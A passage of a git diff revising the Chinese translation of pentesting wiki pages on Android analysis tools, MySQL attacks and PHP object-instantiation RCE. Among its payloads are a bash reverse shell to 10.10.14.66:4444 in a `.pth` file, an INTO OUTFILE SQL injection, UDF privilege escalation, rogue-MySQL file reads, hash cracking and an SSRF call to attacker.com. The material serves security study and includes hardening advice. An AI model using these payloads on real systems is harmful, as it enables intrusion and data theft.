StaCoAn 应用上,它会为你生成一个可视化且可携带的报告。你可以调整设置和词表以获得定制化体验。 +其概念是将你的移动应用文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用上,StaCoAn 会为你生成一份可视化且可携带的报告。你可以调整设置和 wordlists 以获得定制化的体验。 -下载[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或 hackers 发现 Android 应用程序中的潜在安全漏洞。\ +AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或黑客发现 Android 应用中的潜在安全漏洞。\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -728,11 +730,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** 是一个工具,其主要目的是检测并警告用户 Android 应用可能产生的潜在恶意行为。 +**Androwarn** 是一个工具,主要用于检测并提醒用户有关 Android 应用可能的潜在恶意行为。 -检测是通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis**,并使用 [`androguard`](https://github.com/androguard/androguard) 库来实现。 +检测是通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis**,并使用 [`androguard`](https://github.com/androguard/androguard) 库来完成的。 -该工具寻找类似以下的 **common behavior of "bad" applications**:Telephony identifiers exfiltration、Audio/video flow interception、PIM data modification、Arbitrary code execution... +该工具查找 **“坏”应用的常见行为**,例如:Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -740,75 +742,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** 是一个 Mobile Application Reverse engineering and Analysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起,帮助针对 OWASP 移动安全威胁对移动应用进行测试。其目标是让这项工作对移动应用开发者和安全专业人员更简单、更友好。 +**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向与分析工具整合在一起,帮助针对 OWASP mobile security threats 测试移动应用。其目标是让这项工作对移动应用开发者和安全专业人员更简单、更友好。 -它能够: +它可以: -- 使用不同工具提取 Java 和 Smali 代码 +- 使用不同的工具提取 Java 和 Smali 代码 - Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- 使用正则表达式从 APK 中提取敏感信息。 +- 使用 regexp 从 APK 中提取私有信息。 - 分析 Manifest。 - Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 APK 反混淆 +- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 Deobfuscate APK ### Koodous -用于检测恶意软件: [https://koodous.com/](https://koodous.com/) +Useful to detect malware: [https://koodous.com/](https://koodous.com/) -## 代码混淆/反混淆 +## Obfuscating/Deobfuscating code -注意:根据用于混淆代码的服务和配置不同,敏感信息可能被混淆,也可能未被混淆。 +注意,取决于你用来混淆代码的服务和配置,Secrets 可能会被混淆,也可能不会被混淆。 ### [ProGuard]() -From [Wikipedia](): **ProGuard** 是一个开源命令行工具,用于缩小、优化并混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,依据 GNU General Public License 第2版分发。 +From [Wikipedia](): **ProGuard** 是一个开源命令行工具,用于压缩、优化和混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,按照 GNU General Public License 第2版发布。 -ProGuard 随 Android SDK 一同分发,并在以 release 模式构建应用时运行。 +ProGuard 随 Android SDK 一起分发,并在以 release 模式构建应用时运行。 ### [DexGuard](https://www.guardsquare.com/dexguard) -在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 可以找到一步步的 apk 反混淆指南。 +Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(摘自该指南)我们上次检查时,Dexguard 的运行模式是: +(From that guide) 上一次我们检查时,Dexguard 的运行模式是: -- 将资源加载为 InputStream; -- 将结果传入继承自 FilterInputStream 的类以对其解密; -- 做一些无用的混淆以浪费逆向者的时间; -- 将解密后的结果传入 ZipInputStream 以获得 DEX 文件; -- 最后使用 `loadDex` 方法将生成的 DEX 作为资源加载。 +- 将资源作为 InputStream 加载; +- 将结果传递给继承自 FilterInputStream 的类以进行解密; +- 做一些无用的混淆以浪费逆向人员几分钟的时间; +- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件; +- 最后使用 `loadDex` 方法将生成的 DEX 作为 Resource 加载。 ### [DeGuard](http://apk-deguard.com) -**DeGuard 可逆转 Android 混淆工具执行的混淆过程。这使得多种安全分析成为可能,包括代码检查和库识别。** +**DeGuard 逆转了由 Android 混淆工具执行的混淆过程。这样可以进行许多安全分析,包括代码检查和库预测。** -你可以将混淆后的 APK 上传到他们的平台。 +你可以将混淆的 APK 上传到他们的平台。 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -这是一个用于发现 Android 应用潜在安全漏洞并对 Android 应用代码进行反混淆的 LLM 工具。使用 Google's Gemini public API。 +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -它是一个通用的 android 反混淆器。Simplify 通过“虚拟执行”应用来理解其行为,然后尝试优化代码,使其行为保持一致但更易于人工理解。每种优化类型都很简单且通用,因此所使用的具体混淆类型并不重要。 +它是一个 **通用的 android deobfuscator。** Simplify **几乎是执行应用** 来理解其行为,然后 **尝试优化代码**,使其行为保持一致但更易于人类理解。每种优化类型都很简单且通用,所以不管使用了哪种具体的混淆方式,都能起作用。 ### [APKiD](https://github.com/rednaga/APKiD) -APKiD 会告诉你 **APK 是如何构建的**。它能识别许多 **compilers**, **packers**, **obfuscators** 以及其他奇怪的东西。它是 Android 版的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。 +APKiD 会告诉你 **一个 APK 是如何构建的**。它能识别许多 **compilers**, **packers**, **obfuscators** 以及其他奇怪的东西。它是 Android 的 [_PEiD_]。 ### Manual [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -## 实验 +## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全爱好者和研究者的最新框架、教程和用于逆向工程与恶意软件分析的实验。 +AndroL4b 是一个基于 ubuntu-mate 的 Android security 虚拟机,包含来自不同安全极客和研究人员的最新 framework、tutorials 和 labs,用于 reverse engineering 和 malware analysis。 -## 参考资料 +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很棒的资源列表 +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 它是一个很好的资源列表 - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 快速课程 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) @@ -817,7 +819,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自 - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## 有待尝试 +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index a4b3ad3b8..8d2fe9e17 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **基本信息** -**MySQL** 可以被描述为一个开源的 **Relational Database Management System (RDBMS)**,可免费使用。它基于 **Structured Query Language (SQL)** 运行,能够对数据库进行管理和操作。 +**MySQL** 可以被描述为一个开源的 **Relational Database Management System (RDBMS)**,可免费使用。它使用 **Structured Query Language (SQL)**,用于数据库的管理和操作。 **默认端口:** 3306 ``` @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## 外部枚举 -某些枚举操作需要有效凭证 +某些枚举操作需要有效凭据 ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -101,77 +101,76 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -你可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +你可以在文档中查看每个权限的含义: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### MySQL 文件 RCE +### MySQL File RCE {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (特定站点的配置钩子) +#### INTO OUTFILE → Python `.pth` RCE (site.py 特定的配置钩子) -滥用经典的 `INTO OUTFILE` 原语,可以在之后运行 **Python** 脚本的目标上获得*任意代码执行*。 +滥用经典的 `INTO OUTFILE` 原语,可以在以后运行 **Python** 脚本的目标上获得 *arbitrary code execution*。 -1. 使用 `INTO OUTFILE` 将自定义 **`.pth`** 文件写入由 `site.py` 自动加载的任意目录(例如 `.../lib/python3.10/site-packages/`)。 -2. `.pth` 文件可以包含以 `import ` 开头的*单行*,后跟任意 Python 代码,解释器每次启动时都会执行该代码。 -3. 当解释器被 CGI 脚本隐式执行时(例如带有 shebang `#!/bin/python` 的 `/cgi-bin/ml-draw.py`),payload 会以与 Web 服务器进程相同的权限执行(FortiWeb 将其作为 **root** 运行 → 完整的 pre-auth RCE)。 +1. 使用 `INTO OUTFILE` 将自定义 **`.pth`** 文件写入 `site.py` 自动加载的任意目录(例如 `.../lib/python3.10/site-packages/`)。 +2. `.pth` 文件可以包含 *单行*,以 `import ` 开头,后面跟任意 Python 代码,该代码会在解释器每次启动时执行。 +3. 当解释器被 CGI 脚本隐式执行时(例如有 shebang `#!/bin/python` 的 `/cgi-bin/ml-draw.py`),payload 会以与 web-server 进程相同的权限执行(FortiWeb 将其作为 **root** 运行 → 完整的 pre-auth RCE)。 示例 `.pth` payload(单行,最终的 SQL payload 中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串拼接): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -通过 **UNION** 查询构造文件的示例(将空格字符替换为 `/**/` 以绕过 `sscanf("%128s")` 的空格过滤并将总长度保持在 ≤128 字节): +通过一个 **UNION** 查询制作文件的示例(将空格字符替换为 `/**/`,以绕过 `sscanf("%128s")` 的空格过滤并保持总长度 ≤128 字节): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` 重要限制与绕过: -* `INTO OUTFILE` **不能覆盖** 已存在的文件;请选择一个新的文件名。 -* 文件路径是 **relative to MySQL’s CWD** 解析的,因此在前面加 `../../` 有助于缩短路径并绕过绝对路径限制。 -* 如果攻击者输入是通过 `%128s`(或类似)提取的,任何空格都会截断载荷;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替代空格。 -* 执行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,从而几乎在任何地方都有写入权限。 +* `INTO OUTFILE` **无法覆盖** 已存在的文件;请选择新的文件名。 +* 文件路径是按 **relative to MySQL’s CWD** 解析的,因此在前面加上 `../../` 可以缩短路径并绕过绝对路径限制。 +* 如果攻击者输入是通过 `%128s`(或类似方式)提取的,任何空格都会截断载荷;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替代空格。 +* 执行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,从而几乎在任意位置都有写入权限。 -在写入 `.pth` 后,只需请求任何由 python 解释器处理的 CGI 即可获得代码执行: +写入 `.pth` 后,只需请求任何由 python 解释器处理的 CGI 即可获得代码执行: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Python 进程会自动导入恶意的 `.pth` 并执行 shell payload。 +Python 进程会自动导入恶意 `.pth` 并执行 shell payload。 ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## MySQL 通过客户端任意读取文件 +--- -实际上,当你尝试使用 **load data local into a table** 将 **文件的内容** 导入表时,MySQL 或 MariaDB 服务器会要求 **客户端读取该文件** 并发送内容。**因此,如果你能篡改一个 mysql 客户端,使其连接到你自己的 MySQL 服务器,就可以读取任意文件。**\ -Please notice that this is the behaviour using: +## MySQL arbitrary read file by client + +实际上,当你尝试 **load data local into a table** 将 **文件的内容** 导入表时,MySQL 或 MariaDB 服务器会要求 **客户端读取该文件** 并发送内容。**因此,如果你能篡改一个 mysql client 使其连接到你自己的 MySQL 服务器,就可以读取任意文件。**\ +请注意,这是在使用以下方式时的行为: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(注意 "local" 这个词)\ -因为没有 "local" 你可能会得到: +(注意 "local" 这个词)\ 因为没有 "local" 你可能会得到: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**初始 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**在这篇论文中你可以看到对该攻击的完整描述,甚至如何将其扩展为 RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**这里可以找到该攻击的概述:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ - - ## POST ### Mysql 用户 -如果 mysql 以 **root** 身份运行,将会非常有趣: +如果 mysql 以 **root** 身份运行,会非常有趣: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 @@ -180,14 +179,14 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= 在 MySQL 服务的配置中,使用了多种设置来定义其运行和安全措施: -- **`user`** 设置用于指定 MySQL 服务将以哪个用户身份运行。 +- **`user`** 设置用于指定运行 MySQL 服务的用户。 - **`password`** 用于为 MySQL 用户设置密码。 - **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。 -- **`debug`** 变量表示当前的调试配置,可能会将敏感信息写入日志。 -- **`sql_warnings`** 控制在单行 INSERT 语句出现警告时是否生成信息字符串,可能导致敏感数据出现在日志中。 -- 通过 **`secure_file_priv`** 可限制数据导入导出的范围以增强安全性。 +- **`debug`** 变量表示当前的调试配置,可能在日志中包含敏感信息。 +- **`sql_warnings`** 控制当出现警告时是否为单行 INSERT 语句生成信息字符串,这可能会在日志中包含敏感数据。 +- **`secure_file_priv`** 用于限制数据导入导出的范围以增强安全性。 -### Privilege escalation +### 权限提升 ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -205,18 +204,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### 通过库的权限提升 +### Privilege Escalation via library -如果 **mysql server is running as root**(或以其他更高权限的用户运行),你可以让它执行命令。为此,你需要使用 **user defined functions**。而要创建 user defined,你需要一个适用于运行 mysql 的操作系统的 **library**。 +如果 **mysql server 正以 root**(或以其他更高权限的用户)运行,你可以让它执行命令。为此,你需要使用 **user defined functions**。要创建 user defined functions,你需要为运行 mysql 的 OS 提供一个 **library**。 -可用的恶意库可以在 sqlmap 和 metasploit 中找到,方法是执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 的,选择你需要的那个。 +要使用的恶意 library 可以在 sqlmap 和 metasploit 中找到,方法是执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** libraries,**`.dll`** 则是 **Windows** 的,选择你需要的那个。 -如果你 **没有** 那些库,你可以 **寻找它们**,或者下载这个 [**linux C code**](https://www.exploit-db.com/exploits/1518) 并在 **linux vulnerable machine** 中 **编译它**: +如果你 **don't have** 这些 libraries,你可以尝试去 **look for them**,或者下载这个 [**linux C code**](https://www.exploit-db.com/exploits/1518) 并在易受攻击的 linux 机器上 **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -现在你已经拿到该库,以特权用户(root?)登录到 Mysql,并按照以下步骤操作: +现在你已经有了该库,以特权用户(root?)登录到 Mysql 并按照以下步骤操作: #### Linux ```sql @@ -252,22 +251,22 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` #### Windows 提示:通过 SQL 使用 NTFS ADS 创建目录 -在 NTFS 上,即使只有文件写入原语,也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链需要 `plugin` 目录,但该目录不存在且 `@@plugin_dir` 未知或被锁定,你可以先使用 `::$INDEX_ALLOCATION` 创建它: +在 NTFS 上,即使只有文件写入原语,也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链期望 `plugin` 目录存在,但该目录不存在且 `@@plugin_dir` 未知或被锁定,你可以先使用 `::$INDEX_ALLOCATION` 创建它: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -这会将受限的 `SELECT ... INTO OUTFILE` 在 Windows 堆栈上转变为更完整的原语,通过搭建 UDF drops 所需的文件夹结构。 +这会通过引导用于 UDF drops 的文件夹结构,将有限的 `SELECT ... INTO OUTFILE` 转变为在 Windows 堆栈上更完整的原语。 ### 从文件中提取 MySQL 凭据 -在 _/etc/mysql/debian.cnf_ 中可以找到用户 **debian-sys-maint** 的**明文密码**。 +在 _/etc/mysql/debian.cnf_ 中可以找到用户 **debian-sys-maint** 的 **明文密码**。 ```bash cat /etc/mysql/debian.cnf ``` 你可以 **使用这些凭据登录 mysql 数据库**。 -在文件: _/var/lib/mysql/mysql/user.MYD_ 中你可以找到 **所有 MySQL users 的 hashes**(这些是你可以从数据库内部的 mysql.user 提取出的那些)_._ +Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **所有 MySQL 用户的 hashes**(这些可以从 mysql.user(数据库中)提取)_._ 你可以通过以下方式提取它们: ```bash @@ -275,7 +274,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### 启用日志记录 -你可以在 `/etc/mysql/my.cnf` 中取消注释以下行以启用 mysql 查询的日志记录: +你可以在 `/etc/mysql/my.cnf` 中通过取消注释以下行来启用 mysql 查询的日志记录: ![](<../images/image (899).png>) @@ -656,34 +655,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ``` ## 2023-2025 亮点(新) -### JDBC `propertiesTransform` deserialization(CVE-2023-21971) -在 Connector/J <= 8.0.32 中,如果攻击者能够影响 **JDBC URL**(例如在要求连接字符串的第三方软件中),则可以通过 `propertiesTransform` 参数请求在*客户端*加载任意类。如果类路径上存在可加载的 gadget,这将导致 **remote code execution in the context of the JDBC client**(pre-auth,因为不需要有效 credentials)。一个最小的 PoC 如下: +### JDBC `propertiesTransform` 反序列化 (CVE-2023-21971) +从 Connector/J <= 8.0.32 起,攻击者如果能够影响 **JDBC URL**(例如在要求提供连接字符串的第三方软件中),可以通过 `propertiesTransform` 参数在*client*端请求加载任意类。如果 class-path 上存在可加载的 gadget,这将导致 **remote code execution in the context of the JDBC client**(pre-auth,因为不需要有效凭据)。一个最小的 PoC 如下: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list. -(See Snyk write-up for details) +(详见 Snyk 报告) -### 针对 JDBC 客户端 的 Rogue / Fake MySQL 服务器 攻击 -若干开源工具实现了部分 MySQL 协议,以攻击向外连接的 JDBC 客户端: +### 恶意/伪造 MySQL 服务器对 JDBC 客户端的攻击 +Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards: * **mysql-fake-server** (Java, supports file read and deserialization exploits) * **rogue_mysql_server** (Python, similar capabilities) 典型攻击路径: -1. 受害应用加载 `mysql-connector-j`,并设置 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。 -2. 攻击者控制 DNS / host 条目,使数据库的主机名解析到其控制的机器上。 -3. 恶意服务器用精心构造的数据包响应,触发 `LOCAL INFILE` 任意文件读取 或 Java deserialization → RCE。 +1. 受害应用加载 `mysql-connector-j` 并设置 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。 +2. 攻击者控制 DNS / host 条目,使数据库的主机名解析到受其控制的机器。 +3. 恶意服务器以精心构造的数据包响应,触发 `LOCAL INFILE` 任意文件读取或 Java deserialization → RCE。 Example one-liner to start a fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -然后将目标应用指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *username* 字段中将文件名以 base64 编码来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。 +然后将受害应用指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *用户名* 字段中将文件名编码为 base64 来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。 -### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 将密码哈希以 **`$mysql-sha2$`**(SHA-256)存储。Hashcat (mode **21100**) 和 John-the-Ripper (`--format=mysql-sha2`) 自 2023 年起支持 offline cracking。导出 `authentication_string` 列并直接喂入: +### 破解 `caching_sha2_password` 哈希 +MySQL ≥ 8.0 将密码哈希存储为 **`$mysql-sha2$`**(SHA-256)。自 2023 年起,Hashcat(mode **21100**)和 John-the-Ripper(`--format=mysql-sha2`)都支持离线破解。导出 `authentication_string` 列并直接喂给它: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -692,12 +691,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### 加固清单 (2025) -• 将 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 设置好,以禁用大多数文件读/写原语。 -• 从应用账号移除 **`FILE`** 权限。 -• 在 Connector/J 上设置 `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(留空)。 -• 禁用未使用的认证插件并**强制使用 TLS**(`require_secure_transport = ON`)。 -• 监控是否出现 `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` 以及突发的 `SET GLOBAL` 语句。 +### 硬化检查清单 (2025) +• 将 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 设置为以阻止大多数文件读/写原语。 +• 从应用程序账户中移除 **`FILE`** 权限。 +• 在 Connector/J 上将 `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(留空)。 +• 禁用未使用的认证插件并**要求 TLS** (`require_secure_transport = ON`)。 +• 监控 `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` 以及突发的 `SET GLOBAL` 语句。 --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 1f885e6c3..6fc4b1399 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,18 +1,18 @@ -# PHP - RCE 滥用对象创建: new $_GET["a"]($_GET["b"]) +# PHP - RCE 利用对象创建: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -这基本上是 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的摘要 +这基本上是对 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的摘要 ## 介绍 -创建任意新对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致远程代码执行 (RCE),如 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 所述。本文件强调实现 RCE 的各种策略。 +创建任意对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致 Remote Code Execution (RCE),详见 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)。本文档重点介绍实现 RCE 的各种策略。 -## 通过自定义类或 Autoloading 实现 RCE +## RCE 通过自定义类或自动加载 -语法 `new $a($b)` 用于实例化对象,其中 **`$a`** 表示类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入(例如 GET/POST),可能是字符串或数组,也可以来自 JSON,在那里它们可能表现为其他类型。 +语法 `new $a($b)` 用于实例化对象,其中 **`$a`** 表示类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,它们可能是字符串或数组,或来自 JSON,在那里它们可能呈现为其他类型。 -考虑下面的代码片段: +请考虑下面的代码片段: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -在这种情况下,将 `$a` 设置为 `App` 或 `App2`,并将 `$b` 设置为一个系统命令(例如 `uname -a`),会导致该命令被执行。 +在这个例子中,将 `$a` 设置为 `App` 或 `App2`,并将 `$b` 设置为系统命令(例如 `uname -a`),会导致该命令被执行。 -**Autoloading functions** 可以被利用,如果没有这些类可以直接访问。 这些函数在需要时会自动从文件加载类,并通过 `spl_autoload_register` 或 `__autoload` 定义: +**Autoloading functions** 可以被利用,如果没有这样的类可直接访问。这些函数会在需要时自动从文件中加载类,并通过 `spl_autoload_register` 或 `__autoload` 定义: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,72 +45,72 @@ include $class_name . '.php'; spl_autoload_register(); ``` -自动加载(autoloading)的行为因 PHP 版本而异,从而提供不同的 RCE 可能性。 +自动加载 (autoloading) 的行为因 PHP 版本而异,带来不同的 RCE 可能性。 -## 通过内置类的 RCE +## 通过内置类实现 RCE -如果缺少自定义类或自动加载器,**内置的 PHP 类** 可能足以实现 RCE。这些类的数量通常在 100 到 200 之间,取决于 PHP 版本和所安装的扩展。可以使用 `get_declared_classes()` 列出它们。 +如果没有自定义类或自动加载器,**内置 PHP 类** 可能足以实现 RCE。根据 PHP 版本和扩展,这些类的数量大约在 100 到 200 之间。可以使用 `get_declared_classes()` 列出它们。 -可以通过反射 API 找出感兴趣的构造函数,如下面的示例和链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) 所示。 +可以通过反射 API 确定感兴趣的构造函数,如下面示例和链接所示 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。 **通过特定方法的 RCE 包括:** ### **SSRF + Phar Deserialization** -`SplFileObject` 类通过其构造函数启用 SSRF,允许连接到任意 URL: +`SplFileObject` 类通过其构造函数实现 SSRF,允许连接到任意 URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF 可能在使用 Phar 协议时导致 